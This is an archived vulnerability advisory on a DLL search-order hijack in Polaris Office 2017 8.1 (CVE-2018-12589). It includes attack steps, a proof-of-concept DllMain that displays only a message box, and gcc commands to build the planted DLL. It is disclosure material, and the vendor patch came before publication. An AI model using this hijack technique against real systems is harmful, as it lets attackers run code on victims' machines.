what you don't know can hurt you

Polaris Office 2017 8.1 Remote Code Execution

Polaris Office 2017 8.1 Remote Code Execution
Posted Jun 26, 2018
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Polaris Office 2017 version 8.1 allows attackers to execute arbitrary code via a trojan horse "puiframeworkproresenu.dll" file in the current working directory, due to a search order flaw vulnerability.

tags | exploit, arbitrary, trojan
advisories | CVE-2018-12589
MD5 | cb627d3986c07f094a3e4282ca8924de

Polaris Office 2017 8.1 Remote Code Execution

Change Mirror Download
[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/POLARISOFFICE-2017-v8-REMOTE-CODE-EXECUTION.txt
[+] ISR: Apparition Security


Vendor:
=============
www.polarisoffice.com


Product:
===========
PolarisOffice 2017 v8

Polaris Document Solution is an integrated solution for corporate document life cycle from document creation, use, management, security, and collaboration.

Used by more than 70 million subscribers in 240 countries.


Vulnerability Type:
===================
Remote Code Execution


CVE Reference:
==============
CVE-2018-12589


Security Issue:
================
Polaris Office 2017 8.1 allows attackers to execute arbitrary code via a Trojan horse "puiframeworkproresenu.dll" file
in the current working directory, due to a search order flaw vulnerability.

1) create a 32bit DLL named "puiframeworkproresenu.dll"
2) put any .PDF or .PPTX file or whatever that is configured to open in Polaris Office in same directory as the above DLL
3) open the document (PDF etc) then BOOM our arbitrary DLL will execute on victims system.

This can be observed as well with both the DLL and a document opened from a remote share.



Exploit/POC:
=============

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 puiframeworkproresenu.c
gcc -shared -m32 -o puiframeworkproresenu.dll puiframeworkproresenu.o
*/

void trojanizer(){
MessageBox( 0, "Continue with PWNAGE?" , "philbin :)" , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
switch(fdwReason){
case DLL_PROCESS_ATTACH:{
trojanizer();
break;
}
case DLL_PROCESS_DETACH:{
trojanizer();
break;
}
case DLL_THREAD_ATTACH:{
trojanizer();
break;
}
case DLL_THREAD_DETACH:{
trojanizer();
break;
}
}

return TRUE;
}




Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: June 14, 2018
Vendor confirms vulnerability : June 19, 2018
Mitre assigned CVE : June 20, 2018
Vendor replied fix will be in July
however, update was released : June 23, 2018
Notified vendor of impending advisory : June 23, 2018
Vendor : "glad to hear that your problem has been solved"
June 26, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Login or Register to add favorites

File Archive:

November 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    2 Files
  • 2
    Nov 2nd
    9 Files
  • 3
    Nov 3rd
    15 Files
  • 4
    Nov 4th
    90 Files
  • 5
    Nov 5th
    22 Files
  • 6
    Nov 6th
    16 Files
  • 7
    Nov 7th
    1 Files
  • 8
    Nov 8th
    1 Files
  • 9
    Nov 9th
    40 Files
  • 10
    Nov 10th
    27 Files
  • 11
    Nov 11th
    28 Files
  • 12
    Nov 12th
    13 Files
  • 13
    Nov 13th
    18 Files
  • 14
    Nov 14th
    2 Files
  • 15
    Nov 15th
    2 Files
  • 16
    Nov 16th
    29 Files
  • 17
    Nov 17th
    15 Files
  • 18
    Nov 18th
    15 Files
  • 19
    Nov 19th
    21 Files
  • 20
    Nov 20th
    16 Files
  • 21
    Nov 21st
    1 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    19 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close